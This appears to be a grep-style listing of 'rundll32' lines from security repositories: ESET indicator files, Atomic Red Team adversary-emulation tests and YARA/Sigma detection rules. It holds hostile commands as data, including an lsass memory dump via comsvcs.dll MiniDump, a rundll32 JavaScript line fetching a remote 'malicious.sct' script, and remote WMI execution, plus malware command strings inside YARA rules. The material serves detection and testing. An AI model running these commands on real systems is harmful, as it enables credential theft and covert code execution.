malware-ioc	misp-dukes-operation-ghost-event.json	"description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)",	© ESET 2014-2018
malware-ioc	misp-dukes-operation-ghost-event.json	"name": "misp-galaxy:mitre-attack-pattern=\"Rundll32 - T1085\"",	© ESET 2014-2018
malware-ioc	invisimole.yar	$s13 = "rundll32.exe \"%s\",StartUI"	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"value": "%WINDIR%\\SysWOW64\\drivers\\Rundll32.exe",	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"value": "Rundll32 - T1085",	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"tag_name": "misp-galaxy:mitre-attack-pattern=\"Rundll32 - T1085\"",	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)",	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)",	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. An example of this is when a common system utility or program is moved and renamed to avoid detection based on its usage.(Citation: FireEye APT10 Sept 2018) This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\nA third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. \n\nAdversaries may modify a binary's metadata, including such fields as icons, version, name of the product, description, and copyright, to better blend in with the environment and increase chances of deceiving a security analyst or product.(Citation: Threatexpress MetaTwin 2017)\n\n### Windows\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the <code>C:\\Windows\\System32</code> directory. Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n### Linux\nAnother variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux would be the <code>/bin</code> directory. Examples of trusted binary names that can be given to malicious binaries include \"rsyncd\" and \"dbus-inotifier\". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)",	© ESET 2014-2018
malware-ioc	misp_invisimole.json	"name": "misp-galaxy:mitre-attack-pattern=\"Rundll32 - T1085\"",	© ESET 2014-2018
malware-ioc	invisimole	%WINDIR%\SysWOW64\drivers\Rundll32.exe	© ESET 2014-2018
malware-ioc	invisimole	"FlashConfigEnrollee" = "shell32 ShellExec_RunDLL "C:\Windows\SysWOW64\drivers\Rundll32.exe" "C:\Windows\SysWOW64\drivers\wdigest.dll",SpInitialize %SHELLCODE_BYTES%"	© ESET 2014-2018
malware-ioc	win_apt_invisimole_sminit_chain.yml	- 'rundll32.exe shell32.dll,ShellExec_RundDLL'	© ESET 2014-2018
malware-ioc	win_apt_invisimole_wdigest_chain.yml	CommandLine\|contains: 'rundll32.exe Shell32.dll ShellExec_RunDLL cmd.exe /c mkdir SMRTNTKY\MessageB.txt'	© ESET 2014-2018
malware-ioc	win_apt_invisimole_wdigest_chain.yml	- '\Windows\SysWOW64\drivers\Rundll32.exe'	© ESET 2014-2018
malware-ioc	win_apt_invisimole_wrapper_dll.yml	Image\|endswith: '\rundll32.exe'	© ESET 2014-2018
malware-ioc	win_suspicious_rundll32.yml	title: Suspicious Execution of Rundll32.exe	© ESET 2014-2018
malware-ioc	win_suspicious_rundll32.yml	description: Detects instances when Rundll32.exe is executed outside of the system folder, or when Rundll32.exe is unsigned. InvisiMole Group uses a Windows XP version of Rundll32.exe to load and exploit a vulnerable Windows XP library. As Rundll32.exe is signed by a catalog file, older versions will not be signed on newer OS versions which can trigger this detection.	© ESET 2014-2018
malware-ioc	win_suspicious_rundll32.yml	- Rundll32.exe intentionally copied outside of the system folder.	© ESET 2014-2018
malware-ioc	win_suspicious_rundll32.yml	- Legitimate use of older version of Rundll32.exe on newer OS	© ESET 2014-2018
malware-ioc	win_suspicious_rundll32.yml	Image\|endswith: 'rundll32.exe'	© ESET 2014-2018
malware-ioc	win_suspicious_rundll32.yml	- '\Windows\SysWOW64\rundll32.exe'	© ESET 2014-2018
malware-ioc	win_suspicious_rundll32.yml	- '\Windows\system32\rundll32.exe'	© ESET 2014-2018
malware-ioc	win_suspicious_rundll32.yml	- 'rundll32.exe'	© ESET 2014-2018
malware-ioc	rtm	Windows Update = rundll32.exe "%PROGRAMDATA%\Winlogon\winlogon.lnk",DllGetClassObject host	© ESET 2014-2018
malware-ioc	rtm	rundll32.exe	© ESET 2014-2018
atomic-red-team	index.md	- Atomic Test #7: Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- T1218.011 Rundll32	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #1: Rundll32 execute JavaScript Remote Payload With GetObject [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #2: Rundll32 execute VBscript command [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #3: Rundll32 advpack.dll Execution [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #4: Rundll32 ieadvpack.dll Execution [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #5: Rundll32 syssetup.dll Execution [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #6: Rundll32 setupapi.dll Execution [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #7: Execution of HTA and VBS Files using Rundll32 and URL.dll [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #8: Launches an executable using Rundll32 and pcwutl.dll [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #9: Execution of non-dll using rundll32.exe [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #10: Rundll32 with Ordinal Value [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #11: Rundll32 with Control_RunDLL [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #9: WMI Execute rundll32 [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #7: Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- T1218.011 Rundll32	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #1: Rundll32 execute JavaScript Remote Payload With GetObject [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #2: Rundll32 execute VBscript command [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #3: Rundll32 advpack.dll Execution [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #4: Rundll32 ieadvpack.dll Execution [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #5: Rundll32 syssetup.dll Execution [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #6: Rundll32 setupapi.dll Execution [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #7: Execution of HTA and VBS Files using Rundll32 and URL.dll [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #8: Launches an executable using Rundll32 and pcwutl.dll [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #9: Execution of non-dll using rundll32.exe [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #10: Rundll32 with Ordinal Value [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #11: Rundll32 with Control_RunDLL [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #9: WMI Execute rundll32 [windows]	MIT License. © 2018 Red Canary
atomic-red-team	matrix.md	| | | | | Rundll32 | | | | | | | |	MIT License. © 2018 Red Canary
atomic-red-team	windows-matrix.md	| | | | | Rundll32 | | | | | | | |	MIT License. © 2018 Red Canary
atomic-red-team	T1003.md	C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full	MIT License. © 2018 Red Canary
atomic-red-team	T1003.001.md	C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full	MIT License. © 2018 Red Canary
atomic-red-team	T1036.003.md	<blockquote>Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)</blockquote>	MIT License. © 2018 Red Canary
atomic-red-team	T1047.md	- Atomic Test #9 - WMI Execute rundll32	MIT License. © 2018 Red Canary
atomic-red-team	T1047.md	Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION	MIT License. © 2018 Red Canary
atomic-red-team	T1047.md	## Atomic Test #9 - WMI Execute rundll32	MIT License. © 2018 Red Canary
atomic-red-team	T1047.md	This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.	MIT License. © 2018 Red Canary
atomic-red-team	T1047.md	wmic /node:#{node} process call create “rundll32.exe #{dll_to_execute} #{function_to_execute}”	MIT License. © 2018 Red Canary
atomic-red-team	T1134.004.md	Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment.(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)	MIT License. © 2018 Red Canary
atomic-red-team	T1218.005.md	- Atomic Test #7 - Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler	MIT License. © 2018 Red Canary
atomic-red-team	T1218.005.md	## Atomic Test #7 - Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler	MIT License. © 2018 Red Canary
atomic-red-team	T1218.005.md	Executes an HTA Application with JScript Engine, Rundll32 and Inline Protocol Handler.	MIT License. © 2018 Red Canary
atomic-red-team	T1218.005.md	| rundll32_file_path | Location of rundll32.exe | Path | $env:windir\system32\rundll32.exe|	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	# T1218.011 - Rundll32	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	<blockquote>Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)</blockquote>	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	- Atomic Test #1 - Rundll32 execute JavaScript Remote Payload With GetObject	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	- Atomic Test #2 - Rundll32 execute VBscript command	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	- Atomic Test #3 - Rundll32 advpack.dll Execution	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	- Atomic Test #4 - Rundll32 ieadvpack.dll Execution	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	- Atomic Test #5 - Rundll32 syssetup.dll Execution	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	- Atomic Test #6 - Rundll32 setupapi.dll Execution	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	- Atomic Test #7 - Execution of HTA and VBS Files using Rundll32 and URL.dll	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	- Atomic Test #8 - Launches an executable using Rundll32 and pcwutl.dll	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	- Atomic Test #9 - Execution of non-dll using rundll32.exe	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	- Atomic Test #10 - Rundll32 with Ordinal Value	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	- Atomic Test #11 - Rundll32 with Control_RunDLL	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	## Atomic Test #1 - Rundll32 execute JavaScript Remote Payload With GetObject	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened.	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32.exe javascript:”..\mshtml,RunHTMLApplication “;document.write();GetObject(“script:#{file_url}”).Exec();	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	## Atomic Test #2 - Rundll32 execute VBscript command	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	| command_to_execute | Command for rundll32.exe to execute | String | calc.exe|	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32 vbscript:”..\mshtml,RunHTMLApplication “+String(CreateObject(“WScript.Shell”).Run(“#{command_to_execute}”),0)	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	## Atomic Test #3 - Rundll32 advpack.dll Execution	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	Test execution of a command using rundll32.exe with advpack.dll.	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32.exe advpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	## Atomic Test #4 - Rundll32 ieadvpack.dll Execution	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	Test execution of a command using rundll32.exe with ieadvpack.dll.	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32.exe ieadvpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	## Atomic Test #5 - Rundll32 syssetup.dll Execution	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying “installation failed” will be opened	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 .#{inf_to_execute}	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	## Atomic Test #6 - Rundll32 setupapi.dll Execution	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying “installation failed” will be opened	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 .#{inf_to_execute}	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	## Atomic Test #7 - Execution of HTA and VBS Files using Rundll32 and URL.dll	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32.exe URL.dll,FileProtocolHandler C:\..\Detail\akteullen.vbs	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with “rundll32 spawned wscript”	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32.exe url.dll,OpenURL PathToAtomicsFolder\T1218.011\src\index.hta	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32.exe URL.dll,FileProtocolHandler PathToAtomicsFolder\T1218.011\src\akteullen.vbs	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	## Atomic Test #8 - Launches an executable using Rundll32 and pcwutl.dll	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	## Atomic Test #9 - Execution of non-dll using rundll32.exe	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	Rundll32.exe running non-dll	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32.exe #{input_file}, StartW	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	## Atomic Test #10 - Rundll32 with Ordinal Value	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	Rundll32.exe loading dll using ordinal value #2 to DLLRegisterServer.	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32.exe #{input_file},#2	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	## Atomic Test #11 - Rundll32 with Control_RunDLL	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	Rundll32.exe loading dll with ‘control_rundll’ within the command-line, loading a .cpl or another file type related to CVE-2021-40444.	MIT License. © 2018 Red Canary
atomic-red-team	T1218.011.md	rundll32.exe shell32.dll,Control_RunDLL #{input_file}	MIT License. © 2018 Red Canary
atomic-red-team	T1546.015.md	This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.	MIT License. © 2018 Red Canary
atomic-red-team	T1546.015.md	Start-Process -FilePath “C:\Windows\System32\RUNDLL32.EXE” -ArgumentList ‘-sta #{clsid}’	MIT License. © 2018 Red Canary
atomic-red-team	T1548.002.md	If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)	MIT License. © 2018 Red Canary
atomic-red-team	T1564.006.md	rundll32 “C:\Program Files\Oracle\VirtualBox\VBoxRT.dll,RTR3Init”	MIT License. © 2018 Red Canary
signature-base	apt_apt29_nobelium_may21.yar	$a1 = “rundll32.exe” wide	CC BY-NC 4.0
signature-base	apt_apt29_nobelium_may21.yar	$s2 = “rundll32.exe %s %s” ascii fullword	CC BY-NC 4.0
signature-base	apt_apt29_nobelium_may21.yar	$s1 = “rundll32.exe {0} {1}” wide fullword	CC BY-NC 4.0
signature-base	apt_apt41.yar	$s1 = “Rundll32.exe "%s", DisPlay 64” fullword ascii	CC BY-NC 4.0
signature-base	apt_codoso.yar	$s0 = “rundll32 "%s",%s” fullword ascii	CC BY-NC 4.0
signature-base	apt_codoso.yar	$s1 = “rundll32.exe "%s", RunMeByDLL32” fullword ascii	CC BY-NC 4.0
signature-base	apt_codoso.yar	$x2 = “rundll32.exe "%s", RunMeByDLL32” fullword ascii	CC BY-NC 4.0
signature-base	apt_derusbi.yar	$x4 = “rundll32.exe "%s", R32 %s” fullword wide	CC BY-NC 4.0
signature-base	apt_emissary.yar	$s3 = “rundll32.exe "%s",Setting” fullword ascii	CC BY-NC 4.0
signature-base	apt_freemilk.yar	$s4 = “outFile=sysDir&"\rundll32.exe"” fullword ascii	CC BY-NC 4.0
signature-base	apt_glassRAT.yar	// $bin2 = {34 02} // xor al, 2 —> XOR key for rundll32.exe	CC BY-NC 4.0
signature-base	apt_glassRAT.yar	$s1 = “pwlfnn10,gzg” // rundll32.exe XOR 02	CC BY-NC 4.0
signature-base	apt_glassRAT.yar	$s6 = “rundll32 "%s",AddNum” fullword ascii	CC BY-NC 4.0
signature-base	apt_golddragon.yar	$x2 = “rundll32.exe %s RunningRat” fullword ascii	CC BY-NC 4.0
signature-base	apt_golddragon.yar	$x4 = “rundll32.exe %s ExportFunction” fullword ascii	CC BY-NC 4.0
signature-base	apt_golddragon.yar	$x5 = “rundll32.exe "%s" RunningRat” fullword ascii	CC BY-NC 4.0
signature-base	apt_golddragon.yar	$s5 = “rundll32.exe "%s" Run” fullword ascii	CC BY-NC 4.0
signature-base	apt_keyboys.yar	$s4 = “rundll32.exe %s Main” fullword ascii	CC BY-NC 4.0
signature-base	apt_keyboys.yar	$x1 = “rundll32.exe %s SSSS & exit” fullword ascii	CC BY-NC 4.0
signature-base	apt_keyboys.yar	$x1 = “%s\rundll32.exe %s ServiceTake %s %s” fullword ascii	CC BY-NC 4.0
signature-base	apt_khrat.yar	$x2 = “CreateObject("WScript.Shell").Run "rundll32.exe javascript:""\..\mshtml,RunHTMLApplication” ascii	CC BY-NC 4.0
signature-base	apt_korplug_fast.yar	$x1 = “%s\rundll32.exe "%s", ShadowPlay” fullword ascii	CC BY-NC 4.0
signature-base	apt_korplug_fast.yar	$s1 = “%s\rundll32.exe "%s",” fullword ascii	CC BY-NC 4.0
signature-base	apt_op_cloudhopper.yar	$s2 = “rundll32.exe "%s", UnInstall /update %s” fullword wide	CC BY-NC 4.0
signature-base	apt_rokrat.yar	$x3 = “outFile=sysDir&"\rundll32.exe"” fullword ascii	CC BY-NC 4.0
signature-base	apt_sakula.yar	$str02 = “cmd.exe /c rundll32 "%s" Play "%s"”	CC BY-NC 4.0
signature-base	apt_sakula.yar	$str08 = “cmd.exe /c rundll32 "%s" ActiveQvaw "%s"”	CC BY-NC 4.0
signature-base	apt_sofacy_oct17_camp.yar	$s1 = “start rundll32.exe %path %,#1a” fullword ascii	CC BY-NC 4.0
signature-base	apt_tidepool.yar	$s2 = “C:\Windows\System32\rundll32.exe” fullword wide	CC BY-NC 4.0
signature-base	apt_ua_hermetic_wiper.yar	$sx1 = “/c powershell -c "rundll32 C:\windows\system32\comsvcs.dll MiniDump” ascii wide	CC BY-NC 4.0
signature-base	apt_wildneutron.yar	$s0 = “rundll32.exe "%s",#1” fullword wide /* PEStudio Blacklist: strings / / score: ‘33.00’ */	CC BY-NC 4.0
signature-base	apt_wilted_tulip.yar	$s1 = “%s\system32\rundll32.exe” fullword wide	CC BY-NC 4.0
signature-base	apt_wilted_tulip.yar	$r1 = “C:\Windows\syswow64\rundll32.exe</Command>” fullword wide	CC BY-NC 4.0
signature-base	apt_wilted_tulip.yar	$s2 = “%s\system32\rundll32.exe” fullword wide	CC BY-NC 4.0
signature-base	apt_wilted_tulip.yar	$s3 = “%s\SysWOW64\rundll32.exe” fullword wide	CC BY-NC 4.0
signature-base	apt_winnti.yar	$a9 = “\rundll32.exe” wide	CC BY-NC 4.0
signature-base	apt_winnti_burning_umbrella.yar	$s2 = “rundll32.exe %s,Startup” fullword ascii	CC BY-NC 4.0
signature-base	cn_pentestset_webshells.yar	$s3 = “$cmd="cmd /c rundll32.exe $path,install $openPort $activeStr";” fullword ascii /* PEStudio Blacklist: strings */	CC BY-NC 4.0
signature-base	crime_badrabbit.yar	$s9 = “process call create "C:\Windows\System32\rundll32.exe” fullword wide	CC BY-NC 4.0
signature-base	crime_fireball.yar	$s2 = “rundll32.exe "%s",%s” fullword wide	CC BY-NC 4.0
signature-base	crime_fireball.yar	$s2 = “RunDll32.exe "” fullword wide	CC BY-NC 4.0
signature-base	crime_kriskynote.yar	$s1 = “rundll32 %s Check” fullword ascii	CC BY-NC 4.0
signature-base	crime_nopetya_jun17.yar	$x2 = “process call create "C:\Windows\System32\rundll32.exe \"C:\Windows\%s\" #1 “ fullword wide	CC BY-NC 4.0
signature-base	crime_nopetya_jun17.yar	$x3 = “-d C:\Windows\System32\rundll32.exe "C:\Windows\%s",#1 “ fullword wide	CC BY-NC 4.0
signature-base	crime_nopetya_jun17.yar	/* ,#1 ….. rundll32.exe */	CC BY-NC 4.0
signature-base	generic_anomalies.yar	description = “Detects uncommon file size of rundll32.exe”	CC BY-NC 4.0
signature-base	generic_anomalies.yar	and filename == “rundll32.exe”	CC BY-NC 4.0
signature-base	gen_gen_cactustorch.yar	$x6 = “Dim binary : binary = "rundll32.exe"” fullword ascii	CC BY-NC 4.0
signature-base	gen_gen_cactustorch.yar	$s1 = “binary = "rundll32.exe"” fullword ascii	CC BY-NC 4.0
signature-base	gen_gen_cactustorch.yar	$s4 = “var binary = "rundll32.exe";” fullword ascii	CC BY-NC 4.0
signature-base	gen_malware_set_qa.yar	$s4 = “\sysnative\rundll32.exe” fullword ascii	CC BY-NC 4.0
signature-base	gen_powershdll.yar	$x1 = “rundll32 PowerShdll,main -f " fullword wide	CC BY-NC 4.0
signature-base	gen_powershdll.yar	$x3 = “rundll32 PowerShdll,main	CC BY-NC 4.0
signature-base	gen_rats_malwareconfig.yar	$s7 = “cmd.exe /c rundll32 "%s"”	CC BY-NC 4.0
